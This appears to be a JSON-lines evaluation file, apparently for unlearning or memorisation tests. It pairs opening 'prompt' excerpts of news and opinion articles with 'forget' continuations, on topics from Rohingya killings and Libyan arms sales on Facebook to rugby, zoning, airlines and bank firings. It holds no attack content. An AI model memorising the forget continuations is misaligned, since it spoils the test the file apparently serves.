{"prompt": "Common Weal director Robin McAlpine argues that universalism is intertwined with Scotland's political identity, and should be protected IF you want to understand what is different about political culture in Scotland as compared to England and Wales, I'd suggest that the best place to start looking is the question of universalism. It is also why I believe that Scotland gives up any ground on the issue of universalism at substantial risk to its very political identity. There are two broad ways to look at social provision, universalism or selectivity. Universalism means that you decide that something should exist, that it", "forget": "is a core part of your society and that you should therefore ensure it is provided to all. It is so dispiriting that this debate has been opened up by comments by the Scottish Government's new 'poverty tsar' Naomi Eisenstadt. The NHS and universal school education are the defining examples of universalism. The alternative - selectivity - instead emphasises that there are things that it is probably important that people have access to but that our collective responsibility is limited only to those in dire need who can't get access to those things by other means. The prime example of a selectivity approach is the kind of benefit eligibility tests run by the likes of Atos. These are not variations of each other - these are fundamentally different political philosophies. The case for universalism is rock solid and is supported by almost any detailed look at the data. You can look across many countries at many times over many policy areas and you will find the same thing. When you provide a service that includes everyone, that service becomes a good service, is widely supported and becomes relied on by everyone. But because everyone starts from a different position, the impact of universal services is different for different people with the positive impact on the poor being particularly high. So for example, if you make childcare free for all, yes this may partially subsidise the childcare needs of the affluent middle classes, but the impact on them (a bit more disposable income) is limited. Universalism means that you decide that something should exist, that it is a core part of your society and that you should therefore ensure it is provided to all. The same policy applied to a family with only one adult working in a low income job"}
{"prompt": "At least 730 young children among people shot, burned or beaten to death in Rakhine state between August and September More than 6,700 Rohingya Muslims, including at least 730 children under the age of five, were killed in the first month of a crackdown that started in August in Myanmar\u2019s northern Rakhine state, according to M\u00e9decins Sans Fronti\u00e8res. The figures released on Thursday by the humanitarian agency are believed to be a conservative estimate and far exceed Myanmar\u2019s official death toll of 400. \u201cThe numbers of deaths are likely to be an underestimation, as we have not surveyed all refugee", "forget": "settlements in Bangladesh and because the surveys don\u2019t account for the families who never made it out of Myanmar,\u201d said Dr Sidney Wong, MSF\u2019s medical director. The majority of the people killed (69%) were shot, while others were burned and beaten to death. \u201cWe heard reports of entire families who perished after they were locked inside their homes, while they were set alight,\u201d said Wong. Q&A Who are the Rohingya? Show Hide The Rohingya are Muslims who live in majority-Buddhist Myanmar. They are often described as \"the world's most persecuted minority\". Nearly all of Myanmar's 1.1 million Rohingya live in the western coastal state of Rakhine. The government does not recognise them as citizens, effectively rendering them stateless. Extremist nationalist movements insist the group are illegal immigrants from Bangladesh, although the Rohingya say they are native to Rakhine state. Rights groups accuse Burmese authorities of ethnic cleansing, systematically forcing Rohingya from the country through violence and persecution, a charge the government has denied. Photograph: Tracey Nearmy/AAP More than 640,000 Rohingya people have fled Rakhine since August. Soldiers, police and local militias burned hundreds of Rohingya villages to the ground, and they are also accused of gang-raping women and children, as well as slaughtering civilians indiscriminately. Western countries have condemned the violence as ethnic cleansing, an allegation Myanmar strongly denies. Officials in the country have laid the blame on \u201cextremist terrorists\u201d belonging to a new Rohingya militant group. A Myanmar government spokesperson could not be immediately reached for comment. Massacre at Tula Toli: Rohingya recall horror of Myanmar army attack Read more Some of the worst violence is believed to have occurred in Tula Toli, in a village in Maungdaw township, where survivors say residents were rounded up on riverbanks and shot as they tried to flee. The Guardian has seen"}
{"prompt": "When England line up at Suncorp Stadium in Brisbane for the first Test against Australia on 11 June, the home team will recognise many of the faces from the side who crashed out of the World Cup against them on 3 October last year. Eddie Jones\u2019s great achievement of the Six Nations was to take a group of players who had performed so poorly at their home World Cup and to turn them, with one or two judicious tweaks, into grand slam winners at the first time of asking. And thanks to the timing of this summer\u2019s tour and the", "forget": "Premiership final, Jones will have only a week to prepare the team before that first Test, so I think there is little chance of significant changes to that side. Bath captain Stuart Hooper retires after suffering back injury Read more This is the first three-Test tour of Australia England have ever undertaken and it should make for a really exciting spectacle, something two-Test series too often are not. This makes it a real shame England will not be able to prepare properly, thanks to the mess that is the end of the domestic season. The Premiership final is on Saturday 28 May, Wales are the opposition in a one-off at Twickenham the following day and the first Test is two weeks later on 11 June. This is clearly an improvement on the last time England toured at the end of the season, when Stuart Lancaster had to name pretty much two squads in 2014 because the Premiership final was a week before the first Test against New Zealand \u2013 but it is far from ideal. Having the Premiership final last \u2013 because the European Champions Cup final is on 14 May, rather than at the end of the season \u2013 guarantees two English clubs, and a good number of England players, playing until the final minute of the season, which puts England\u2019s preparations under so much pressure. By the time the players involved in the final have flown out to Australia and recovered, they will have little more than a week to prepare for the first Test, compared to the fortnight they had before this season\u2019s Six Nations games. With preparation time so short and with no midweek games in which to have a look at some dark horses, Jones is unlikely to tinker too much with the side that"}
{"prompt": "What does \"open source\" mean? With open source software being so prevalent in our lives (Android, WordPress, Mozilla Firefox are almost fixtures), you would think that it would be simple enough to find somebody who can explain the term around here. A quick survey around the office turned out dismal results, however. A fellow intern told me \"open source software\" simply meant that the source code is open for view; another insisted that it means the software is free to use. I personally had the impression that it meant the code was crowd sourced and created by volunteer developers--the idea", "forget": "was immediately shot down by the other two. So what, really, does \"open source\" mean? In an attempt to understand and clarify some of the misconceptions surrounding the term, I contacted the Open Source Initiative (OSI), a foundation that oversees the use of the term and approves open source licenses. I talked to Karl Fogel, the author of the book \"Producing Open Source Software: How to Run a Successful Free Software Project\" and a board member of OSI. I put to the test a few common beliefs about open source software: Open source only means that the source is open to view. False Under the OSI's Open Source Definition, software that is open source must also allow unrestricted redistribution and modifications. Certain licenses are also copyleft, which means that any derived work must also be distributed under the same license--So check your licenses carefully before proceeding. This misconception is due to a direct interpretation of the word \"open source\", says Fogel. Its actual meaning is supposed to invoke the idea of 'freedom'--the liberty to change and recreate--but finding the correct lexicon was difficult. \"It is a problem inherent in the English Language. In Spanish and French you have the word 'Libre', but there is no such equivalent in English, \" Fogel says. Open source software is free. True This point is tricky, because it depends on what your definition of \"free\" is, and who you talk to. As mentioned above, the OSI's definition of open source software is \u201cfree\u201d in the sense of giving freedom to those who use it. So in the most common way of thinking, where \"free\" means no upfront cost to use, modify, or distribute, the answer is yes: the software is free. That said, if you lean towards economics and like to think about the"}
{"prompt": "Buzzfeed, January 14: A Mindset Revolution Sweeping Britain\u2019s Classrooms May Be Built On Shaky Science. Somebody needed to write this article. It\u2019s written very well. I\u2019ve talked to the writer, Tom Chivers, and he was very careful and seems like a great person. The article even quotes me, although I think if I had gotten to choose a quote of mine for thousands of people to see, it wouldn\u2019t have been the one speculating about Carol Dweck making a pact with the Devil. But I\u2019m not entirely on board with it. Growth mindset has been really hyped and Carol Dweck", "forget": "has said it can do implausibly exciting things, okay. A lot of smart people are very suspicious of growth mindset and think there has to be some trick, sure. There\u2019s a high prior that something is up, definitely. But one thing that needs to be at the core of any article like this is that, if there\u2019s a trick, we haven\u2019t found it. I tried to be really clear about this in my own (mostly pessimistic) article on the subject: It is right smack in the middle of a bunch of fields that have all started seeming a little dubious recently. Most of the growth mindset experiments have used priming to get people in an effort-focused or an ability-focused state of mind, but recent priming experiments have famously failed to replicate and cast doubt on the entire field. And growth mindset has an obvious relationship to stereotype threat, which has also started seeming very shaky recently. So I have every reason to be both suspicious of and negatively disposed toward growth mindset. Which makes it appalling that the studies are so damn good. This is the context of my speculation that Carol Dweck has made a pact with the Devil. I haven\u2019t accused (for example) the stereotype threat people of making a pact with the Devil. They did some crappy studies and exaggerated the results. That doesn\u2019t require any diabolic help. Any social scientist can do that, and most of them do. What\u2019s interesting about the growth mindset research is that it looks just like the sort of thing that should fall apart with a tiny gust of wind, but it actually hangs together pretty well. BuzzFeed doesn\u2019t really challenge that. The article spends most of its time snarking about how overhyped growth mindset is \u2013 and no objections there,"}
{"prompt": "This offseason, Shutdown Corner will travel down memory lane with a series of stories presenting some interesting and sometimes forgotten stories from the NFL\u2019s past. Join us as we relive some of the greatest and craziest moments in the sport\u2019s history. On its own, it\u2019s a pretty remarkable sight in the clip above: A kicker retrieving his own blocked field-goal attempt, scooping up the loose ball and running it in for a walk-off touchdown. Scroll to continue with content Ad That doesn\u2019t happen every day in the NFL, after all. But it\u2019s the back story that makes Chester Marcol\u2019s 1980", "forget": "touchdown against the rival Chicago Bears one of the most WTF moments in modern league history. [Yahoo Fantasy Football is open for the 2016 season. Sign up now] Marcol entered the league in 1972, a Polish-born kicker whose family left their home country after his father committed suicide. He arrived at high school in Imlay City, Michigan (30 miles east of Flint) not knowing a lick of English, but a gym teacher discovered that Marcol could kick the heck out of a soccer ball. Once Marcol was introduced to football and taught how to kick that oblique spheroid, a great talent was transformed. He went down the road to kick for then-NAIA Hillsdale College, where he went on to set several school kicking marks and become a four-time All-American. He made a 62-yarder in 1969 (a year before Tom Dempsey made a 63-yarder in the NFL) and attempted an unheard-of 77-yard try against St. Norbert (which just happened to be where the Packers held training camp at the time) that reportedly came up a few yards short. Story continues Packers head coach Dan Devine thought enough of Marcol to spend a second-round pick (34th overall) on him, and Marcol rewarded him by making Pro Bowls in two of his first three seasons and being named 1972 NFC Rookie of the Year after making 33 field goals in 14 games and leading the NFL in scoring that season. Green Bay Packers kicker Chester Marcol was the NFL\u2019s leading scorer as a rookie in 1972 (Photo by Nate Fine/Getty Images) His efforts that season against the Chicago Bears endeared him to the locals. He beat them with late field goals in both games and frustrated Bears coach Abe Gibron so much that he handpicked special-teams ace Gary Kosins as a mercenary to"}
{"prompt": "Playing Favorites The sedan is the more attractive option to my eyes. Mazda says the interior was benchmarked against the latest BMW 3 Series There isn't another front-wheel-drive automobile with such an aggressive caster angle. While the two engines are both part of the Skyactiv-G family, they share practically no major components. The 2.0L, six-speed automatic sedan is rated at 30 mpg city, 41 highway and 34 combined. The hatch is a bit less aerodynamic ... and it's also a wee bit noisier while driving. We're not going to beat around the bush: for the kind of person who willfully", "forget": "chooses to take longer, windier and more scenic routes to get to Point B, the 2014 Mazda3 is the new compact car measuring stick by which others will be judged. That doesn't, of course, make it the right choice for every buyer.We'll spend the next thousand words or so explaining the whys and hows that make our opening statement a fact, but for now, suffice it to say that Mazda has engineered its latest crop of vehicles \u2013 namely the CX-5 Mazda6 and its smaller sibling and subject of this test, the Mazda3 \u2013 from the ground up. Absolutely everything about the Mazda3 is refined for 2014, from its chassis to its engines and everything in between, and it was done in a completely new and holistic way. Every component, subcomponent and stamping required to bolt and weld together an automobile was rethought to ensure the Mazda3 has what it takes to compete with such established benchmarks as the Honda Civic and Ford Focus We spent a day in and around sunny San Diego clutching the keys to Mazda3 variants in both sedan and hatch forms, powered by both 2.0-liter and 2.5-liter four-cylinder engines, to see how the car stacks up in its hotly contested segment. Since we've already driven the hatchback version of the car, albeit in pre-production form, we focused our attention on the Mazda3 sedan, and we spent seat time in each of its competitors throughout the process to ensure our posteriors were accurately calibrated. Read on to see what we found.The 2014 Mazda3 looks awfully pretty in pictures, but its shapes are even better when viewed up close and personal. As the latest car to benefit from Mazda's Kodo design language, the 3 draws plenty of inspiration from the CX-5 and Mazda6 , both of which"}
{"prompt": "A group of outraged Florida voters has launched the Web site MyCongressmanIsNuts.com in a drive to oust Democratic Rep. Alan Grayson, the outspoken lawmaker who grabbed national headlines after it was revealed that, among other comments, he called an adviser to the Federal Reserve chairman a \u201cK Street whore\u201d in a radio interview in September. The site is raising money to defeat the Orlando-area congressman and the site\u2019s organizers describe it as a \u201cmore appropriate alternative\u201d to Mr. Grayson\u2019s CongressmanWithGuts.com, which the Grayson campaign said helped to raise more than $250,000 in the first three weeks of October. The \u201cNuts\u201d", "forget": "site took in about $3,335 overnight after its Thursday evening launch, according to a donation ticker on the Web page. \u201cAlan Grayson\u2019s recent self-indulgent behavior has paralyzed his ability to serve as an advocate for the citizens of central Florida,\u201d the Web site says in a plea for contributions. The site features YouTube videos of TV and cable news reports critical of Mr. Grayson\u2019s exploits. \u201cEvery penny that we raise is going to go to exposing his policies and who he really is,\u201d said Angie Langley, 34, chairwoman of the recently formed political action committee behind the Web site. \u201cWe are going to flood the district with bumper stickers, yard signs, and we are prepared to launch radio and television ads - whatever it takes to make sure this guy is not re-elected.\u201d Ms. Langley, a business development consultant in the Lake County portion of Mr. Grayson\u2019s district, said the PAC is not affiliated with a political party and is not backing any candidates. She is not new to politics, however, having previously served as chairman of the Lake County Republican Party. The PAC\u2019s two other board members are a registered Republican and a registered libertarian. Mr. Grayson\u2019s office did not immediately respond to a request for comment. Several Republicans have lined up to challenge Mr. Grayson, including a trio of \u201ctea party\u201d activists hoping to capitalize on the anti-tax, anti-big government movement that flourished over the summer. But national Republicans reportedly are looking for a stronger candidate in what has historically been a GOP-leaning district. The Bronx, N.Y.-born Mr. Grayson, a wealthy businessman and lawyer, was a freshman House member virtually unknown on the national stage before his stinging rhetoric and take-no-prisoners style began to draw attention in September. That\u2019s when he stood on the House floor and said"}
{"prompt": "In Laissez-Faire in Tokyo Land Use I pointed to Japan\u2019s constitutional protection of property rights and it\u2019s relatively laissez-faire approach to land use to explain why housing prices in Japan have not risen in past decades, as they have elsewhere in the developed world. A very useful post at Urban kchoze offers more detail on Japan\u2019s zoning system. Here are some of the key points. Japan has 12 basic zones, far fewer than is typical in an American city. The zones can be ordered in terms of nuisance or potential externality from low-rise residential to high-rise residential to commercial zone", "forget": "on through to light industrial and industrial. But, and this is key, in the US zones tend to be exclusive but in Japan the zones limit the maximum nuisance in a zone. So, for example, a factory can\u2019t be built in a residential neighborhood but housing can be built in a light industrial zone. \u2026[the] Japanese do not impose one or two exclusive uses for every zone. They tend to view things more as the maximum nuisance level to tolerate in each zone, but every use that is considered to be less of a nuisance is still allowed. So low-nuisance uses are allowed essentially everywhere. That means that almost all Japanese zones allow mixed use developments, which is far from true in North American zoning. \u2026[The] great rigidity in allowed uses per zone in North American zoning means that urban planing departments must really micromanage to the smallest detail everything to have a decent city. Because if they forget to zone for enough commercial zones or schools, people can\u2019t simply build what is lacking, they\u2019d need to change the zoning, and therefore confront the NIMBYs. And since urban planning departments, especially in small cities, are largely awful, a lot of needed uses are forgotten in neighborhoods, leading to them being built on the outskirts of the city, requiring car travel to get to them from residential areas. Meanwhile, Japanese zoning gives much more flexibility to builders, private promoters but also school boards and the cities themselves. So the need for hyper-competent planning is much reduced, as Japanese planning departments can simply zone large higher-use zones in the center of neighborhoods, since the lower-uses are still allowed. If there is more land than needed for commercial uses in a commercial zone, for example, then you can still build residential uses there,"}
{"prompt": "Pro-Iraq ad buyers turn to lobbying Nick Juliano Published: Friday November 16, 2007 del.icio.us Print This Email This Group tells Raw it will reach out to both parties Freedom's Watch, a pro-Iraq war interest group populated by prominent Republicans and former Bush administration officials, swept into the debate over the war this summer with a series of slickly produced, emotional TV ads. Now the group wants to take its arguments straight to the Capitol Hill lawmakers who are debating how and whether to continue funding America's nearly five-year occupation of Iraq. Freedom's Watch filed papers on Sept. 17 to lobby", "forget": "lawmakers, as noted this week by CQ Moneyline, a campaign fundraising and political advocacy tracking service. The group says it plans to reach out to members of both parties on a variety of issues, including troop funding and \"winning the war on terror.\" \"We won't narrow our scope in terms of who we're going to be talking to,\" Matt David, a spokesman for the group, tells RAW STORY . The lobbying disclosure form lists three Freedom's Watch officials, who are joining the pro-war lobbying effort, including Bradley Blakeman, a former deputy assistant to President Bush, and David, a former Bush-Cheney campaign aide. Former White House press secretary Ari Fleischer is a founding board member of Freedom's Watch, although he is not listed as a registered lobbyist. David says Fleischer won't be involved in the lobbying effort, and the group will not be coordinating its actions with the Bush administration. \"By law we're not allowed to coordinate with the White House, so we are following the law,\" he said in an interview Friday. \"We are not coordinating with the White House.\" As RAW STORY reported last month, Freedom's Watch appears to be part of a revolving door between the White House and outside public relations groups trying to bolster support for the unpopular occupation of Iraq. David said Freedom's Watch plans to announce an expansion of its advocacy efforts to include issues beyond the war and hopes to become a force in Washington. \"This is an organization with the goal to be a perpetual operation for years and years to come,\" he said. In August, Freedom's Watch began a $15 million ad campaign in 20 states urging members of Congress to stay the course in Iraq. Those ads, which aired just before Gen. David Petraeus's progress report on the \"surge\" in"}
{"prompt": "* EU-Mexico trade agreement from 2000 seen as limited, outdated * Mexico part of deals shaping the landscape of global trade By Robin Emmott BRUSSELS, May 11 (Reuters) - The European Union and Mexico will launch negotiations towards a new free-trade agreement later this year, as Europe seeks to tie its economy closer to North America following a deal with Canada and efforts to sign an accord with the United States. Building on a pact with Mexico from 2000, the European Union hopes to create a transatlantic free-trade zone and help set the global rules of commerce before China does.", "forget": "Mexico is jumping ahead of Brazil, whose talks towards a similar deal with the European Union have stalled. \u201cWe are ready to commit to a highly ambitious deal,\u201d EU Trade Commissioner Cecilia Malmstrom told a forum in Brussels alongside Mexican Economy Minister Ildefonso Guajardo. \u201cI will ask for a mandate to launch negotiations this fall,\u201d she said. EU officials are expected to discuss the timing of talks in more detail at an EU-Latin American summit in Brussels on June 12, where Mexican President Enrique Pena Nieto is expected. A deal, which would take several years, would upgrade the EU-Mexican accord that was signed when the global economy was far less integrated and online commerce was in its infancy. It is part of a new generation of deals that go beyond tariffs. As with the EU\u2019s pact with Canada and its plans for a deal with the United States, a new accord with Mexico would further open up markets in services and allow businesses to bid for public tenders in each others\u2019 countries. The European Union is Mexico\u2019s second-largest trading partner after the United States, while Mexico is a top destination for EU exports after the United States and China. A more comprehensive deal with the European Union would allow Mexico to join Latin America\u2019s Pacific economies of Chile, Colombia and Peru that now have modern trade pacts with both the European Union and the United States. It also deepens a divide between those nations and Argentina, Brazil and Venezuela on the Atlantic coast, which have been more reluctant to drop barriers to trade. \u201cWith Colombia, Chile and Peru, we are sending a signal of fresh air that we are the countries of free traders. We are responsible for more than half of Latin America\u2019s exports to the world,\u201d Economy Minister"}
{"prompt": "Differences between martian meteorites and rocks examined by a NASA rover can be explained if Mars had an oxygen-rich atmosphere 4000 million years ago \u2013 well before the rise of atmospheric oxygen on Earth 2500m years ago. Scientists from Oxford University investigated the compositions of Martian meteorites found on Earth and data from NASA\u2019s \u2018Spirit\u2019 rover that examined surface rocks in the Gusev crater on Mars. The fact that the surface rocks are five times richer in nickel than the meteorites was puzzling and had cast doubt on whether the meteorites are typical volcanic products of the red planet. \u2018What", "forget": "we have shown is that both meteorites and surface volcanic rocks are consistent with similar origins in the deep interior of Mars but that the surface rocks come from a more oxygen-rich environment, probably caused by recycling of oxygen-rich materials into the interior,\u2019 said Professor Bernard Wood, of Oxford University\u2019s Department of Earth Sciences, who led the research reported in this week\u2019s Nature. \u2018This result is surprising because while the meteorites are geologically \u2018young\u2019, around 180 million to 1400 million years old, the Spirit rover was analysing a very old part of Mars, more than 3700 million years old.\u2019 Whilst it is possible that the geological composition of Mars varies immensely from region to region the researchers believe that it is more likely that the differences arise through a process known as subduction \u2013 in which material is recycled into the interior. They suggest that the Martian surface was oxidised very early in the history of the planet and that, through subduction, this oxygen-rich material was drawn into the shallow interior and recycled back to the surface during eruptions 4000 million years ago. The meteorites, by contrast, are much younger volcanic rocks that emerged from deeper within the planet and so were less influenced by this process. Professor Wood said: \u2018The implication is that Mars had an oxygen-rich atmosphere at a time, about 4000 million years ago, well before the rise of atmospheric oxygen on earth around 2500 million years ago. As oxidation is what gives Mars its distinctive colour it is likely that the \u2018red planet\u2019 was wet, warm and rusty billions of years before Earth\u2019s atmosphere became oxygen rich.\u2019 A report of the research, entitled \u2018Volcanism on Mars controlled by early oxidation of the upper mantle\u2019, is published in the journal Nature. The research was carried out by"}
{"prompt": "Image copyright Getty Images A new study suggests there is a growing market in the illegal trade of guns and weapons in Libya via social media sites, in particular Facebook. The report covered 18 months and found sales of a wide range of items - from handguns to rocket-propelled grenades. Most were offered for sale on \"closed\" or \"secret\" Facebook groups. The illicit sale of guns is a violation of Facebook's terms of service, and a spokesperson said they encourage people to report any such postings. The report was commissioned by the Small Arms Survey, and used data collected by", "forget": "Armament Research Services (ARES) on a total of 1,346 sales. Researchers believe this is just a fraction of the full trade taking place on social media. The study will be released on Thursday, but BBC Newsnight has seen an advance copy. Col Gaddafi was an obsessive buyer of weapons and tightly controlled the market. During his 40 years in power, it is estimated he spent more than $30bn (\u00a320bn) on arms. Image copyright Facebook Image caption A recent example of a weapon for sale in Libya on Facebook When rebel forces toppled his regime in 2011, the stockpiles were thrown open and a large black market emerged. Researchers believe the trade on social media began to take off in 2013, and is still growing. They looked at the trade of small arms and light weapons across sites, including Facebook, Instagram, WhatsApp and Telegram, and found the largest volume of sales on Facebook. The majority of weapons being traded were handguns or rifles. The most popular rifle was the Kalashnikov, which sells - they found - on average for 1,800 Libyan dinars ($1,300; \u00a3930). \"While the bulk of the traded [items] were traditional small arms - handguns through to self-loading rifles and machine guns - there were also the more significant systems that could have battlefield impacts or terrorist use,\" says one of the report authors Nic Jenzen-Jones from ARES. \"Manpads are shoulder-launched anti-aircraft systems. We found a number of complete systems listed, but also individual components... They're not really functional against modern fighter aircraft, but the great threat is to civilian aviation.\" Researchers found anti-aircraft systems cost up to 85,000 Libyan dinars ($62,000; \u00a344,000). One offer was of an anti-aircraft gun which came complete with a truck. Find out more: Tripoli 'U-turn' on unity government Why is Libya so lawless?"}
{"prompt": "German authorities receive foreign intelligence tipoff warning that up to seven suicide bombers would attack two of the city\u2019s train stations Police in Munich are hunting Islamic State suspects after a foreign intelligence agency warned of a \u201cconcrete\u201d plan to send suicide bombers to the city\u2019s train stations during New Year\u2019s Eve celebrations. Five to seven people were reportedly planning suicide bomb attacks on the main Hauptbahnhof station and Pasing station at the western end of the city centre, in what German authorities said was a \u201cserious, imminent threat\u201d, prompting them to evacuate the sites and warn people to stay", "forget": "away. Munich police president Hubertus Andr\u00e4 told a news conference on Friday that German officials had received a \u201cvery concrete\u201d tip that suicide attacks were planned at train stations in the southern city at midnight. \u201cWe received names. We can\u2019t say if they are in Munich or in fact in Germany,\u201d Andr\u00e4 said. About 550 officers have been deployed to secure the city and no arrests had yet been made, he said. The Bavarian interior minister, Joachim Herrmann, told a media conference on Thursday night: \u201cThe threat was very concretely centred on midnight and at these two places.\u201d He added that all necessary security measures were being taken. Citing anonymous security sources, Bavarian state broadcaster BR reported that Germany had received warnings from both US and French intelligence agencies earlier in the day. According to the intelligence, seven Iraqis living in Munich were named as the potential attackers, and they were planning to enter the stations in pairs and blow themselves up simultaneously. Munich police spokeswoman Elizabeth Matzinger could not confirm the nationalities or the suspected residence of the suspects, or whether a manhunt for identified individuals was underway. \u201cInvestigations are happening, but I cannot give out any details, that is a tactical information,\u201d she told the Guardian. \u201cI can\u2019t confirm whether they are Iraqis, but it was apparently a group of five to seven people affiliated to IS [Isis].\u201d The two stations were shut down and evacuated around midnight, while special unit police officers armed with automatic weapons were stationed at entrances. UK new year events go ahead amid heightened security around the world Read more Munich police issued a statement saying that an attack was expected in the city during the night, and warned people to avoid the two stations and large crowds in general. But by 4"}
{"prompt": "BERKELEY, Calif.\u2014Days after a group of concerned professors raised alarm bells over a new network monitoring system installed at the University of California, Berkeley and the other nine campuses of the University of California system, a separate committee of system-wide faculty has now given its blessing. Some Berkeley faculty remain concerned that their academic freedom has been threatened by the new full packet capture system that sits on each campus network\u2019s edge, however. They say that retaining such information could be used as a way to constrain legitimate discussion or research on controversial topics. Last summer, the University of California", "forget": "Office of the President (UCOP) ordered that a Fidelis XPS system be installed at all 10 campuses at a total estimated cost of at least a few million dollars. The Fidelis hardware and software is designed to \"detect attacks\" and analyze \"every single packet that traverses the network.\" The move came in response to a July 2015 attack against the University of California Los Angeles Health System, which resulted in 4.5 million records being stolen. Following that attack, University of California President Janet Napolitano, the former Secretary of Homeland Security, moved quickly to bring more digital monitoring onto the campuses, which stretch from Berkeley to San Diego. The UC Regents, the governing board of the entire UC system, now face 17 separate lawsuits as a result of the breach at UCLA. Similar network monitoring hardware has also been installed at other universities nationwide. \"We recognize that the essential openness of the University represents a cybersecurity challenge,\" David G. Kay, a University of California Irvine computer science professor and head of the UC-wide committee, wrote in the Monday letter to the UC Academic Senate. \"We have been informed that the monitoring of communications looked only for \u2018malware signatures\u2019 and Internet traffic patterns. As neither message content nor browsing activity were monitored, we believe this level of monitoring can be appropriate.\" But exactly how the Fidelis XPS operates and what data is being retained and scanned is unknown. Kate Moser, a UCOP spokeswoman, refused to answer Ars\u2019 specific questions, referring us simply to prepared statements from both Napolitano and Executive Vice President Rachael Nava. She also pointed us to a new website, security.ucop.edu, which states, \"UC is taking appropriate steps to prevent cyber attacks by advanced persistent threat actors.\" That site also touts the new Cyber-Risk Governance Committee, which acts as an"}
{"prompt": "In the wake of the near panic over the launch of Sputnik in 1957, President Dwight D. Eisenhower appointed James Killian, the president of the Massachusetts Institute of Technology, to become the first special assistant to the president for science and technology. Ever since, the relationship between the nation\u2019s chief executive and the White House\u2019s resident authority on nuclear fission, the workings of DNA and the greenhouse effect, among an array of topics, has had its highs and lows. To be sure, advice has flowed freely at times. Eisenhower consulted frequently with Killian and other scientists, and in the Kennedy", "forget": "years Jerome Wiesner, another M.I.T. president, helped to coordinate the government\u2019s response to the publication of Rachel Carson\u2019s Silent Spring, a book that spurred a national grassroots environmental movement by pointing out the dangers of pesticides. Just as often the adviser\u2019s position has tilted toward irrelevance. Richard M. Nixon went so far as to abolish the job altogether, along with the President\u2019s Science Advisory Committee, which had recommended against going ahead with a supersonic transport program, advice that the ill-fated 37th president did not want to hear. (The U.S. Congress restored the position in 1976.) The tenure of George W. Bush marks a new nadir. On the few science-related issues the administration has cared about\u2014stem cells and climate change were on the short list\u2014it had largely set its course before the arrival of its new science adviser John H. Marburger III some nine months after Bush first took office. The administration, moreover, stripped the job of the title \u201cspecial assistant to the president,\u201d a reminder that the adviser would never be part of the inner circle. Nevertheless, hopes rose with the appointment of the well-regarded physicist and former head of Stony Brook University and Brookhaven National Laboratory. \u201cAs both scientist and administrator, John H. Marburger III tries to bring needed perspective into a White House not thought to be particularly interested in science,\u201d read a headline for a profile published in Scientific American in June 2002. In the ensuing years, Marburger has disappointed. Much of his public persona has been as an apologist for the Bush team, trying to rebut charges from scientists, Congress and the media that the administration has engaged in a \u201cwar on science\u201d by systematically distorting or suppressing science-related reports and politicizing federal advisory committees. Bush\u2019s first appointed EPA administrator, former New Jersey Republican governor Christine"}
{"prompt": "Porter Airlines confirmed today it plans to buy up to 30 CS100 jets from Montreal-based Bombardier, which would expand the regional carrier's reach from coast to coast, and take direct aim at Air Canada and WestJet. \"We believe it is time to spread our wings,\" president and CEO Bob Deluce said at a news conference at Billy Bishop Toronto City Airport, where Porter is based. \"And so I present to you our vision for the future of Porter Airlines \u2014 a vision with service to destinations across North America, from Calgary and Vancouver, to Los Angeles, Miami and Orlando.\" The", "forget": "move pushes Porter into direct competition with Air Canada and WestJet as a national carrier, while setting up a potential political standoff over expansion of the island airport in downtown Toronto. The conditional deal is to buy 12 Bombardier CS100s, with options on 18 more. The deal also includes purchase rights for six of Bombardier's Q400 turboprop aircraft, currently the mainstay of the Porter fleet. The total purchase could reach $2.29 billion US if all the options and purchase rights are exercised. Delivery of the first jet, which has seating for 107 passengers, is expected in 2016. The conditional purchase agreement signed on Tuesday is a coup for Bombardier, and ushers in a change in Canadian aviation. That's because the CSeries jets can fly 5,400 km without refuelling, much farther than the current fleet of Q400 turboprop planes that Porter flies to connect 19 cities across Eastern Canada and the U.S. The airline said the expansion could mean 1,000 new employees, which would bring the total to 2,400. Potential price war Joseph D'Cruz, a University of Toronto business professor and aviation expert, said the move could be good news for consumers. The announcement could lead to a political dispute over the airport, which is near residents on the island and the city's heavily populated downtown. (Marivel Taruc/CBC) \"It's going to be interesting to watch how WestJet and Air Canada react once Porter starts biting into their business,\" he told CBC News. \"They're going to retaliate, and the only way they can retaliate is lower prices.\" \"This may trigger a vicious price war,\" D'Cruz said. Air Canada said that before it takes a position on further investment at the island airport, it wants assurance that takeoff and landing slots will become available for other airlines that have been seeking increased access."}
{"prompt": "Wells Fargo Home Mortgage has fired a Des Moines worker over a 1963 incident at a Laundromat involving a fake dime in the wake of new employment guidelines. Richard Eggers, 68, was fired in July from his job as a customer service representative for putting a cardboard cutout of a dime in a washing machine nearly 50 years ago in Carlisle, the Des Moines Register reported Monday. Warren County court records show Eggers was convicted of operating a coin-changing machine by false means. Eggers called it a \"stupid stunt,\" but questions his firing. Big banks have been firing low-level employees", "forget": "like Eggers since new federal banking employment guidelines were enacted in May 2011 and new mortgage employment guidelines took hold in February, the newspaper said. The tougher standards are meant to clear out executives and mid-level bank employees guilty of transactional crimes \u2014 such as identity theft and money laundering \u2014 but are being applied across the board because of possible fines for noncompliance. Banks have fired thousands of workers nationally, said Natasha Buchanan, an attorney in Santa Ana, Calif., who has helped some of the workers regain their eligibility to be employed. \"Banks are afraid of the FDIC and the penalties they could face,\" Buchanan said. The regulatory rules forbid the employment of anyone convicted of a crime involving dishonesty, breach of trust or money laundering. Before the guidelines were changed, banks widely interpreted the rules to exclude minor traffic offenses and misdemeanors. Wells Fargo confirmed Eggers' termination. \"The expectations that have been placed on us and all financial institutions have never been higher,\" said Wells Fargo spokeswoman Angela Kaipust. The Federal Deposit Insurance Corp. provides a waiver process employees can follow to show they're still fit to work at a bank despite a past criminal conviction, but it usually takes six months to a year to be approved. There is also a process for automatic waiver that works more quickly but is limited to people who were sentenced to less than year of jail time and never spent a day locked up. Eggers, who was jailed two days, doesn't qualify. American Bankers Association spokeswoman Carol Kaplan said the public clamor for tighter regulation also is responsible for the stricter interpretation of the rules. The safest route is to fire the employee and let them pursue an FDIC waiver. \"There's no question that there was an appetite for tighter"}
